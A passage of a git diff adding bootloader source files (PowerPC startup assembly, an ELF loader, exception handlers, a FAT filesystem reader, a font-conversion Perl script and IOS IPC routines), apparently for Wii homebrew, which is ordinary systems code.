||||||
|
|
||||||
|
if (is_signed) {
|
||||||
|
if ((long long)x < 0)
|
||||||
|
x = -x;
|
||||||
|
else
|
||||||
|
is_signed = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
char hold[22];
|
||||||
|
char *hld = &hold[sizeof hold];
|
||||||
|
*--hld = 0;
|
||||||
|
|
||||||
|
int len = 0;
|
||||||
|
do {
|
||||||
|
int dig = extract_dig(&x, radix);
|
||||||
|
if (dig >= 10)
|
||||||
|
dig += 'a' - 10;
|
||||||
|
else
|
||||||
|
dig += '0';
|
||||||
|
*--hld = dig;
|
||||||
|
len++;
|
||||||
|
} while (x);
|
||||||
|
if (is_signed)
|
||||||
|
*--hld = '-';
|
||||||
|
|
||||||
|
while (len < prec) {
|
||||||
|
put(zero ? '0' : ' ');
|
||||||
|
len++;
|
||||||
|
}
|
||||||
|
while (*hld)
|
||||||
|
put(*hld++);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
va_end(ap);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
52
loader/crt0.s
Normal file
52
loader/crt0.s
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
# This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
|
||||||
|
.globl _start
|
||||||
|
_start:
|
||||||
|
|
||||||
|
# Disable interrupts, enable FP.
|
||||||
|
mfmsr 3 ; rlwinm 3,3,0,17,15 ; ori 3,3,0x2000 ; mtmsr 3 ; isync
|
||||||
|
|
||||||
|
# Setup stack.
|
||||||
|
lis 1,_stack_top@ha ; addi 1,1,_stack_top@l ; li 0,0 ; stwu 0,-64(1)
|
||||||
|
|
||||||
|
# Clear BSS.
|
||||||
|
lis 3,__bss_start@ha ; addi 3,3,__bss_start@l
|
||||||
|
li 4,0
|
||||||
|
lis 5,__bss_end@ha ; addi 5,5,__bss_end@l ; sub 5,5,3
|
||||||
|
bl memset
|
||||||
|
|
||||||
|
|
||||||
|
# set [DI]BAT0 for 256MB@80000000,
|
||||||
|
# real 00000000, WIMG=0000, R/W
|
||||||
|
li 3,2 ; lis 4,0x8000 ; ori 4,4,0x1fff
|
||||||
|
mtspr 529,3 ; mtspr 528,4 ; mtspr 537,3 ; mtspr 536,4 ; isync
|
||||||
|
|
||||||
|
# set [DI]BAT4 for 256MB@90000000,
|
||||||
|
# real 10000000, WIMG=0000, R/W
|
||||||
|
addis 3,3,0x1000 ; addis 4,4,0x1000
|
||||||
|
mtspr 561,3 ; mtspr 560,4 ; mtspr 569,3 ; mtspr 568,4 ; isync
|
||||||
|
|
||||||
|
# set DBAT1 for 256MB@c0000000,
|
||||||
|
# real 00000000, WIMG=0101, R/W
|
||||||
|
li 3,0x2a ; lis 4,0xc000 ; ori 4,4,0x1fff
|
||||||
|
mtspr 539,3 ; mtspr 538,4 ; isync
|
||||||
|
|
||||||
|
# set DBAT5 for 256MB@d0000000,
|
||||||
|
# real 10000000, WIMG=0101, R/W
|
||||||
|
addis 3,3,0x1000 ; addis 4,4,0x1000
|
||||||
|
mtspr 571,3 ; mtspr 570,4 ; isync
|
||||||
|
|
||||||
|
# enable [DI]BAT4-7 in HID4
|
||||||
|
lis 3, 0x8200
|
||||||
|
mtspr 1011,3
|
||||||
|
|
||||||
|
# Go!
|
||||||
|
bl main
|
||||||
|
|
||||||
|
# If it returns, hang. Shouldn't happen.
|
||||||
|
b .
|
||||||
|
|
||||||
|
|
47
loader/elf.c
Normal file
47
loader/elf.c
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
// Determine if a valid ELF image exists at the given memory location.
|
||||||
|
|
||||||
|
int valid_elf_image(void *addr)
|
||||||
|
{
|
||||||
|
u32 *header = addr;
|
||||||
|
|
||||||
|
return header[0] == 0x7f454c46 // ELF
|
||||||
|
&& header[1] == 0x01020100 // 32-bit, BE, ELF v1, SVR
|
||||||
|
&& header[4] == 0x00020014 // executable, PowerPC
|
||||||
|
&& header[5] == 1 // object file v1
|
||||||
|
&& (header[10] & 0xffff) == 32; // PHDR size
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Returns the entry point address.
|
||||||
|
|
||||||
|
void *load_elf_image(void *addr)
|
||||||
|
{
|
||||||
|
u32 *header = addr;
|
||||||
|
u32 *phdr = addr + header[7];
|
||||||
|
u32 n = header[11] >> 16;
|
||||||
|
u32 i;
|
||||||
|
|
||||||
|
for (i = 0; i < n; i++, phdr += 8) {
|
||||||
|
if (phdr[0] != 1) // PT_LOAD
|
||||||
|
continue;
|
||||||
|
|
||||||
|
u32 off = phdr[1];
|
||||||
|
void *dest = (void *)phdr[3];
|
||||||
|
u32 filesz = phdr[4];
|
||||||
|
u32 memsz = phdr[5];
|
||||||
|
|
||||||
|
memcpy(dest, addr + off, filesz);
|
||||||
|
memset(dest + filesz, 0, memsz - filesz);
|
||||||
|
|
||||||
|
sync_before_exec(dest, memsz);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (void *)header[6];
|
||||||
|
}
|
54
loader/exception.c
Normal file
54
loader/exception.c
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
extern char exception_2200_start, exception_2200_end;
|
||||||
|
|
||||||
|
void exception_handler(int exception)
|
||||||
|
{
|
||||||
|
u32 *x;
|
||||||
|
u32 i;
|
||||||
|
|
||||||
|
printf("\nException %04x occurred!\n", exception);
|
||||||
|
|
||||||
|
x = (u32 *)0x80002000;
|
||||||
|
|
||||||
|
printf("\n R0..R7 R8..R15 R16..R23 R24..R31\n");
|
||||||
|
for (i = 0; i < 8; i++) {
|
||||||
|
printf("%08x %08x %08x %08x\n", x[0], x[8], x[16], x[24]);
|
||||||
|
x++;
|
||||||
|
}
|
||||||
|
x += 24;
|
||||||
|
|
||||||
|
printf("\n CR/XER LR/CTR SRR0/SRR1 DAR/DSISR\n");
|
||||||
|
for (i = 0; i < 2; i++) {
|
||||||
|
printf("%08x %08x %08x %08x\n", x[0], x[2], x[4], x[6]);
|
||||||
|
x++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hang.
|
||||||
|
for (;;)
|
||||||
|
;
|
||||||
|
}
|
||||||
|
|
||||||
|
void exception_init(void)
|
||||||
|
{
|
||||||
|
u32 vector;
|
||||||
|
u32 len_2200;
|
||||||
|
|
||||||
|
for (vector = 0x100; vector < 0x2000; vector += 0x10) {
|
||||||
|
u32 *insn = (u32 *)(0x80000000 + vector);
|
||||||
|
|
||||||
|
insn[0] = 0xbc002000; // stmw 0,0x2000(0)
|
||||||
|
insn[1] = 0x38600000 | (u32)vector; // li 3,vector
|
||||||
|
insn[2] = 0x48002202; // ba 0x2200
|
||||||
|
insn[3] = 0;
|
||||||
|
}
|
||||||
|
sync_before_exec((void *)0x80000100, 0x1f00);
|
||||||
|
|
||||||
|
len_2200 = &exception_2200_end - &exception_2200_start;
|
||||||
|
memcpy((void *)0x80002200, &exception_2200_start, len_2200);
|
||||||
|
sync_before_exec((void *)0x80002200, len_2200);
|
||||||
|
}
|
24
loader/exception_2200.s
Normal file
24
loader/exception_2200.s
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
# This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
.globl exception_2200_start, exception_2200_end
|
||||||
|
|
||||||
|
exception_2200_start:
|
||||||
|
# store all interesting regs
|
||||||
|
mfcr 0 ; stw 0,0x2080(0)
|
||||||
|
mfxer 0 ; stw 0,0x2084(0)
|
||||||
|
mflr 0 ; stw 0,0x2088(0)
|
||||||
|
mfctr 0 ; stw 0,0x208c(0)
|
||||||
|
mfsrr0 0 ; stw 0,0x2090(0)
|
||||||
|
mfsrr1 0 ; stw 0,0x2094(0)
|
||||||
|
mfdar 0 ; stw 0,0x2098(0)
|
||||||
|
mfdsisr 0 ; stw 0,0x209c(0)
|
||||||
|
|
||||||
|
# switch on FP, DR, IR
|
||||||
|
mfmsr 0 ; ori 0,0,0x2030 ; mtsrr1 0
|
||||||
|
|
||||||
|
# go to C handler
|
||||||
|
lis 0,exception_handler@h ; ori 0,0,exception_handler@l ; mtsrr0 0
|
||||||
|
rfi
|
||||||
|
exception_2200_end:
|
425
loader/fat.c
Normal file
425
loader/fat.c
Normal file
@ -0,0 +1,425 @@
|
|||||||
|
// Copyright 2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
#ifdef FAT_TEST
|
||||||
|
#include <stdio.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#define RAW_BUF 0x200
|
||||||
|
static u8 raw_buf[RAW_BUF] __attribute__((aligned(32)));
|
||||||
|
|
||||||
|
static int raw_read(u32 sector)
|
||||||
|
{
|
||||||
|
static u32 current = -1;
|
||||||
|
|
||||||
|
if (current == sector)
|
||||||
|
return 0;
|
||||||
|
current = sector;
|
||||||
|
|
||||||
|
return sd_read_sector(raw_buf, sector);
|
||||||
|
}
|
||||||
|
|
||||||
|
static u64 partition_start_offset;
|
||||||
|
|
||||||
|
static int read(u8 *data, u64 offset, u32 len)
|
||||||
|
{
|
||||||
|
offset += partition_start_offset;
|
||||||
|
|
||||||
|
while (len) {
|
||||||
|
u32 buf_off = offset % RAW_BUF;
|
||||||
|
u32 n;
|
||||||
|
|
||||||
|
n = RAW_BUF - buf_off;
|
||||||
|
if (n > len)
|
||||||
|
n = len;
|
||||||
|
|
||||||
|
int err = raw_read(offset / RAW_BUF);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
memcpy(data, raw_buf + buf_off, n);
|
||||||
|
|
||||||
|
data += n;
|
||||||
|
offset += n;
|
||||||
|
len -= n;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static u32 bytes_per_cluster;
|
||||||
|
static u32 root_entries;
|
||||||
|
static u32 clusters;
|
||||||
|
static u32 fat_type; // 12, 16, or 32
|
||||||
|
|
||||||
|
static u64 fat_offset;
|
||||||
|
static u64 root_offset;
|
||||||
|
static u64 data_offset;
|
||||||
|
|
||||||
|
|
||||||
|
static u32 get_fat(u32 cluster)
|
||||||
|
{
|
||||||
|
u8 fat[4];
|
||||||
|
|
||||||
|
u32 offset_bits = cluster*fat_type;
|
||||||
|
int err = read(fat, fat_offset + offset_bits/8, 4);
|
||||||
|
if (err)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
u32 res = le32(fat) >> (offset_bits % 8);
|
||||||
|
res &= (1 << fat_type) - 1;
|
||||||
|
res &= 0x0fffffff; // for FAT32
|
||||||
|
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static u64 extent_offset;
|
||||||
|
static u32 extent_len;
|
||||||
|
static u32 extent_next_cluster;
|
||||||
|
|
||||||
|
static void get_extent(u32 cluster)
|
||||||
|
{
|
||||||
|
extent_len = 0;
|
||||||
|
extent_next_cluster = 0;
|
||||||
|
|
||||||
|
if (cluster == 0) { // Root directory.
|
||||||
|
if (fat_type != 32) {
|
||||||
|
extent_offset = root_offset;
|
||||||
|
extent_len = 0x20*root_entries;
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
cluster = root_offset;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cluster - 2 >= clusters)
|
||||||
|
return;
|
||||||
|
|
||||||
|
extent_offset = data_offset + (u64)bytes_per_cluster*(cluster - 2);
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
extent_len += bytes_per_cluster;
|
||||||
|
|
||||||
|
u32 next_cluster = get_fat(cluster);
|
||||||
|
|
||||||
|
if (next_cluster - 2 >= clusters)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (next_cluster != cluster + 1) {
|
||||||
|
extent_next_cluster = next_cluster;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
cluster = next_cluster;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static int read_extent(u8 *data, u32 len)
|
||||||
|
{
|
||||||
|
while (len) {
|
||||||
|
if (extent_len == 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
u32 this = len;
|
||||||
|
if (this > extent_len)
|
||||||
|
this = extent_len;
|
||||||
|
|
||||||
|
int err = read(data, extent_offset, this);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
extent_offset += this;
|
||||||
|
extent_len -= this;
|
||||||
|
|
||||||
|
data += this;
|
||||||
|
len -= this;
|
||||||
|
|
||||||
|
if (extent_len == 0 && extent_next_cluster)
|
||||||
|
get_extent(extent_next_cluster);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int fat_read(void *data, u32 len)
|
||||||
|
{
|
||||||
|
return read_extent(data, len);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static u8 fat_name[11];
|
||||||
|
|
||||||
|
static u8 ucase(char c)
|
||||||
|
{
|
||||||
|
if (c >= 'a' && c <= 'z')
|
||||||
|
return c - 'a' + 'A';
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *parse_component(const char *path)
|
||||||
|
{
|
||||||
|
u32 i = 0;
|
||||||
|
|
||||||
|
while (*path == '/')
|
||||||
|
path++;
|
||||||
|
|
||||||
|
while (*path && *path != '/' && *path != '.') {
|
||||||
|
if (i < 8)
|
||||||
|
fat_name[i++] = ucase(*path);
|
||||||
|
path++;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (i < 8)
|
||||||
|
fat_name[i++] = ' ';
|
||||||
|
|
||||||
|
if (*path == '.')
|
||||||
|
path++;
|
||||||
|
|
||||||
|
while (*path && *path != '/') {
|
||||||
|
if (i < 11)
|
||||||
|
fat_name[i++] = ucase(*path);
|
||||||
|
path++;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (i < 11)
|
||||||
|
fat_name[i++] = ' ';
|
||||||
|
|
||||||
|
if (fat_name[0] == 0xe5)
|
||||||
|
fat_name[0] = 0x05;
|
||||||
|
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
u32 fat_file_size;
|
||||||
|
|
||||||
|
int fat_open(const char *name)
|
||||||
|
{
|
||||||
|
u32 cluster = 0;
|
||||||
|
|
||||||
|
while (*name) {
|
||||||
|
get_extent(cluster);
|
||||||
|
|
||||||
|
name = parse_component(name);
|
||||||
|
|
||||||
|
while (extent_len) {
|
||||||
|
u8 dir[0x20];
|
||||||
|
|
||||||
|
int err = read_extent(dir, 0x20);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
if (dir[0] == 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
if (dir[0x0b] & 0x08) // volume label or LFN
|
||||||
|
continue;
|
||||||
|
if (dir[0x00] == 0xe5) // deleted file
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (!!*name != !!(dir[0x0b] & 0x10)) // dir vs. file
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (memcmp(fat_name, dir, 11) == 0) {
|
||||||
|
cluster = le16(dir + 0x1a);
|
||||||
|
if (fat_type == 32)
|
||||||
|
cluster |= le16(dir + 0x14) << 16;
|
||||||
|
|
||||||
|
if (*name == 0) {
|
||||||
|
fat_file_size = le32(dir + 0x1c);
|
||||||
|
get_extent(cluster);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef FAT_TEST
|
||||||
|
static void print_dir_entry(u8 *dir)
|
||||||
|
{
|
||||||
|
int i, n;
|
||||||
|
|
||||||
|
if (dir[0x0b] & 0x08) // volume label or LFN
|
||||||
|
return;
|
||||||
|
if (dir[0x00] == 0xe5) // deleted file
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (fat_type == 32) {
|
||||||
|
fprintf(stderr, "#%04x", le16(dir + 0x14));
|
||||||
|
fprintf(stderr, "%04x ", le16(dir + 0x1a));
|
||||||
|
} else
|
||||||
|
fprintf(stderr, "#%04x ", le16(dir + 0x1a)); // start cluster
|
||||||
|
u16 date = le16(dir + 0x18);
|
||||||
|
fprintf(stderr, "%04d-%02d-%02d ", 1980 + (date >> 9), (date >> 5) & 0x0f, date & 0x1f);
|
||||||
|
u16 time = le16(dir + 0x16);
|
||||||
|
fprintf(stderr, "%02d:%02d:%02d ", time >> 11, (time >> 5) & 0x3f, 2*(time & 0x1f));
|
||||||
|
fprintf(stderr, "%10d ", le32(dir + 0x1c)); // file size
|
||||||
|
u8 attr = dir[0x0b];
|
||||||
|
for (i = 0; i < 6; i++)
|
||||||
|
fprintf(stderr, "%c", (attr & (1 << i)) ? "RHSLDA"[i] : ' ');
|
||||||
|
fprintf(stderr, " ");
|
||||||
|
for (n = 8; n && dir[n - 1] == ' '; n--)
|
||||||
|
;
|
||||||
|
for (i = 0; i < n; i++)
|
||||||
|
fprintf(stderr, "%c", dir[i]);
|
||||||
|
for (n = 3; n && dir[8 + n - 1] == ' '; n--)
|
||||||
|
;
|
||||||
|
if (n) {
|
||||||
|
fprintf(stderr, ".");
|
||||||
|
for (i = 0; i < n; i++)
|
||||||
|
fprintf(stderr, "%c", dir[8 + i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int print_dir(u32 cluster)
|
||||||
|
{
|
||||||
|
u8 dir[0x20];
|
||||||
|
|
||||||
|
get_extent(cluster);
|
||||||
|
|
||||||
|
while (extent_len) {
|
||||||
|
int err = read_extent(dir, 0x20);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
if (dir[0] == 0)
|
||||||
|
break;
|
||||||
|
|
||||||
|
print_dir_entry(dir);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
static int fat_init_fs(const u8 *sb)
|
||||||
|
{
|
||||||
|
u32 bytes_per_sector = le16(sb + 0x0b);
|
||||||
|
u32 sectors_per_cluster = sb[0x0d];
|
||||||
|
bytes_per_cluster = bytes_per_sector * sectors_per_cluster;
|
||||||
|
|
||||||
|
u32 reserved_sectors = le16(sb + 0x0e);
|
||||||
|
u32 fats = sb[0x10];
|
||||||
|
root_entries = le16(sb + 0x11);
|
||||||
|
u32 total_sectors = le16(sb + 0x13);
|
||||||
|
u32 sectors_per_fat = le16(sb + 0x16);
|
||||||
|
|
||||||
|
// For FAT16 and FAT32:
|
||||||
|
if (total_sectors == 0)
|
||||||
|
total_sectors = le32(sb + 0x20);
|
||||||
|
|
||||||
|
// For FAT32:
|
||||||
|
if (sectors_per_fat == 0)
|
||||||
|
sectors_per_fat = le32(sb + 0x24);
|
||||||
|
|
||||||
|
// XXX: For FAT32, we might want to look at offsets 28, 2a
|
||||||
|
// XXX: We _do_ need to look at 2c
|
||||||
|
|
||||||
|
u32 fat_sectors = sectors_per_fat * fats;
|
||||||
|
u32 root_sectors = (0x20*root_entries + bytes_per_sector - 1)
|
||||||
|
/ bytes_per_sector;
|
||||||
|
|
||||||
|
u32 fat_start_sector = reserved_sectors;
|
||||||
|
u32 root_start_sector = fat_start_sector + fat_sectors;
|
||||||
|
u32 data_start_sector = root_start_sector + root_sectors;
|
||||||
|
|
||||||
|
clusters = (total_sectors - data_start_sector) / sectors_per_cluster;
|
||||||
|
|
||||||
|
if (clusters < 0x0ff5)
|
||||||
|
fat_type = 12;
|
||||||
|
else if (clusters < 0xfff5)
|
||||||
|
fat_type = 16;
|
||||||
|
else
|
||||||
|
fat_type = 32;
|
||||||
|
|
||||||
|
fat_offset = (u64)bytes_per_sector*fat_start_sector;
|
||||||
|
root_offset = (u64)bytes_per_sector*root_start_sector;
|
||||||
|
data_offset = (u64)bytes_per_sector*data_start_sector;
|
||||||
|
|
||||||
|
if (fat_type == 32)
|
||||||
|
root_offset = le32(sb + 0x2c);
|
||||||
|
|
||||||
|
#ifdef FAT_TEST
|
||||||
|
fprintf(stderr, "bytes_per_sector = %08x\n", bytes_per_sector);
|
||||||
|
fprintf(stderr, "sectors_per_cluster = %08x\n", sectors_per_cluster);
|
||||||
|
fprintf(stderr, "bytes_per_cluster = %08x\n", bytes_per_cluster);
|
||||||
|
fprintf(stderr, "root_entries = %08x\n", root_entries);
|
||||||
|
fprintf(stderr, "clusters = %08x\n", clusters);
|
||||||
|
fprintf(stderr, "fat_type = %08x\n", fat_type);
|
||||||
|
fprintf(stderr, "fat_offset = %012llx\n", fat_offset);
|
||||||
|
fprintf(stderr, "root_offset = %012llx\n", root_offset);
|
||||||
|
fprintf(stderr, "data_offset = %012llx\n", data_offset);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static int is_fat_fs(const u8 *sb)
|
||||||
|
{
|
||||||
|
// Bytes per sector should be 512, 1024, 2048, or 4096
|
||||||
|
u32 bps = le16(sb + 0x0b);
|
||||||
|
if (bps < 0x0200 || bps > 0x1000 || bps & (bps - 1))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
// Media type should be f0 or f8,...,ff
|
||||||
|
if (sb[0x15] < 0xf8 && sb[0x15] != 0xf0)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
// If those checks didn't fail, it's FAT. We hope.
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int fat_init(void)
|
||||||
|
{
|
||||||
|
u8 buf[0x200];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
partition_start_offset = 0;
|
||||||
|
err = read(buf, 0, 0x200);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
if (le16(buf + 0x01fe) != 0xaa55) // Not a DOS disk.
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
if (is_fat_fs(buf))
|
||||||
|
return fat_init_fs(buf);
|
||||||
|
|
||||||
|
// Maybe there's a partition table? Let's try the first partition.
|
||||||
|
if (buf[0x01c2] == 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
partition_start_offset = 0x200ULL*le32(buf + 0x01c6);
|
||||||
|
|
||||||
|
err = read(buf, 0, 0x200);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
if (is_fat_fs(buf))
|
||||||
|
return fat_init_fs(buf);
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
BIN
loader/font.png
Normal file
BIN
loader/font.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 5.5 KiB |
BIN
loader/font.ppm
Normal file
BIN
loader/font.ppm
Normal file
Binary file not shown.
60
loader/font2c.pl
Executable file
60
loader/font2c.pl
Executable file
@ -0,0 +1,60 @@
|
|||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
|
||||||
|
# Read PPM file.
|
||||||
|
|
||||||
|
$sig = <>; chomp $sig;
|
||||||
|
$sizes = <>; chomp $sizes;
|
||||||
|
$cols = <>; chomp $cols;
|
||||||
|
|
||||||
|
{
|
||||||
|
local $/;
|
||||||
|
$data = <>;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Sanity check.
|
||||||
|
|
||||||
|
$sig ne "P6" and die;
|
||||||
|
$sizes ne "90 256" and die;
|
||||||
|
$cols ne "255" and die;
|
||||||
|
(length $data) != 3 * 90 * 256 and die;
|
||||||
|
|
||||||
|
|
||||||
|
# Output header.
|
||||||
|
|
||||||
|
print "// GENERATED FILE DO NOT EDIT\n";
|
||||||
|
print "\n";
|
||||||
|
print "#include \"loader.h\"\n";
|
||||||
|
print "\n";
|
||||||
|
print "const u8 console_font_10x16x4[96*80] = {\n";
|
||||||
|
|
||||||
|
# Output data.
|
||||||
|
|
||||||
|
for my $ch (2..7) {
|
||||||
|
for my $cl (0..15) {
|
||||||
|
printf "\n\t// %x%x\n", $ch, $cl;
|
||||||
|
for my $py (0..15) {
|
||||||
|
print "\t";
|
||||||
|
for my $px (0..9) {
|
||||||
|
my $hor = $px + 10*($ch - 2);
|
||||||
|
my $ver = $py + 16*$cl;
|
||||||
|
my $wot = $hor + 90*$ver;
|
||||||
|
my $bytes = substr($data, 3*$wot, 3);
|
||||||
|
my $nyb = int ((ord $bytes) / 16);
|
||||||
|
if (($px & 1) == 0) {
|
||||||
|
printf "0x%x", $nyb;
|
||||||
|
} else {
|
||||||
|
printf "%x,", $nyb;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Output footer.
|
||||||
|
|
||||||
|
print "\n";
|
||||||
|
print "};\n";
|
272
loader/ios.c
Normal file
272
loader/ios.c
Normal file
@ -0,0 +1,272 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
// Low-level IPC access.
|
||||||
|
|
||||||
|
static u32 ipc_read(u32 reg)
|
||||||
|
{
|
||||||
|
return read32(0x0d000000 + 4*reg);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ipc_write(u32 reg, u32 value)
|
||||||
|
{
|
||||||
|
write32(0x0d000000 + 4*reg, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ipc_bell(u32 w)
|
||||||
|
{
|
||||||
|
ipc_write(1, (ipc_read(1) & 0x30) | w);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ipc_wait_ack(void)
|
||||||
|
{
|
||||||
|
while ((ipc_read(1) & 0x22) != 0x22)
|
||||||
|
;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ipc_wait_reply(void)
|
||||||
|
{
|
||||||
|
while ((ipc_read(1) & 0x14) != 0x14)
|
||||||
|
;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ipc_irq_ack(void)
|
||||||
|
{
|
||||||
|
ipc_write(12, 0x40000000);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Mid-level IPC access.
|
||||||
|
|
||||||
|
static struct {
|
||||||
|
u32 cmd;
|
||||||
|
int result;
|
||||||
|
int fd;
|
||||||
|
u32 arg[5];
|
||||||
|
|
||||||
|
u32 user[8];
|
||||||
|
} ipc __attribute__((aligned(64)));
|
||||||
|
|
||||||
|
static void ipc_send_request(void)
|
||||||
|
{
|
||||||
|
sync_after_write(&ipc, 0x40);
|
||||||
|
|
||||||
|
ipc_write(0, virt_to_phys(&ipc));
|
||||||
|
ipc_bell(1);
|
||||||
|
|
||||||
|
ipc_wait_ack();
|
||||||
|
|
||||||
|
ipc_bell(2);
|
||||||
|
ipc_irq_ack();
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ipc_recv_reply(void)
|
||||||
|
{
|
||||||
|
for (;;) {
|
||||||
|
u32 reply;
|
||||||
|
|
||||||
|
ipc_wait_reply();
|
||||||
|
|
||||||
|
reply = ipc_read(2);
|
||||||
|
ipc_bell(4);
|
||||||
|
|
||||||
|
ipc_irq_ack();
|
||||||
|
ipc_bell(8);
|
||||||
|
|
||||||
|
if (reply == virt_to_phys(&ipc))
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
sync_before_read(&ipc, sizeof ipc);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// High-level IPC access.
|
||||||
|
|
||||||
|
int ios_open(const char *filename, u32 mode)
|
||||||
|
{
|
||||||
|
sync_after_write(filename, strlen(filename) + 1);
|
||||||
|
memset(&ipc, 0, sizeof ipc);
|
||||||
|
|
||||||
|
ipc.cmd = 1;
|
||||||
|
ipc.fd = 0;
|
||||||
|
ipc.arg[0] = virt_to_phys(filename);
|
||||||
|
ipc.arg[1] = mode;
|
||||||
|
|
||||||
|
ipc_send_request();
|
||||||
|
ipc_recv_reply();
|
||||||
|
|
||||||
|
return ipc.result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ios_close(int fd)
|
||||||
|
{
|
||||||
|
memset(&ipc, 0, sizeof ipc);
|
||||||
|
|
||||||
|
ipc.cmd = 2;
|
||||||
|
